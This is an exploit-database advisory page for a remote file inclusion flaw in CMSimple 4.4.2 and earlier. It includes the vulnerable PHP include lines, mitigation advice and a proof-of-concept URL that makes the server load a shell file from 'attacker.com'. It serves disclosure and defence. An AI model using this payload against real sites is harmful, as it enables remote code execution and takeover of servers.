CMSimple - Open Source CMS with no database

vendor:

CMSimple

by:

NoGe

9,3

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: CMSimple

Affected Version From: 4.4

Affected Version To: 4.4.2

Patch Exists: No

Related CWE: N/A

CPE: a:cmsimple:cmsimple

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2014

CMSimple – Open Source CMS with no database <= Remote File Inclusion Vulnerability

CMSimple is a php based Content Managemant System (CMS), which requires no database. All data are stored in a simple file system. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server, which includes a URL in the 'pth[folder][plugin]' parameter. This can allow the attacker to include a remote file containing arbitrary code, which will be executed by the vulnerable server.

Mitigation:

The best way to mitigate this vulnerability is to ensure that user input is properly sanitized and validated before being used in any file operations. Additionally, the application should be configured to only allow access to files from trusted sources.

Source

Exploit-DB raw data:

=============================================================================================================


  [o] CMSimple - Open Source CMS with no database <= Remote File Inclusion Vulnerability

       Software : CMSimple - Open Source CMS with no database
       Version  : 4.4, 4.4.2 and below
       Vendor   : http://www.cmsimple.org
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com
       Desc     : CMSimple is a php based Content Managemant System (CMS), which requires no database. 
                  All data are stored in a simple file system.


=============================================================================================================


  [o] Vulnerable File

       plugins/filebrowser/classes/required_classes.php

        require_once $pth['folder']['plugin'] . 'classes/filebrowser_view.php';
        require_once $pth['folder']['plugin'] . 'classes/filebrowser.php';


=============================================================================================================


  [o] Exploit

       http://localhost/[path]/plugins/filebrowser/classes/required_classes.php?pth[folder][plugin]=[RFI]


=============================================================================================================


  [o] PoC

       http://target.com/[path]/plugins/filebrowser/classes/required_classes.php?pth[folder][plugin]=http://attacker.com/shell.txt?


=============================================================================================================


  [o] Greetz

       Vrs-hCk OoN_BoY Paman zxvf s4va Angela Zhang stardustmemory
       aJe kaka11 matthews wishnusakti inc0mp13te martfella
       pizzyroot Genex H312Y noname tukulesto }^-^{


=============================================================================================================


  [o] April 17 2014 - Papua, Indonesia - Met Paskah! Tuhan berkati.. :)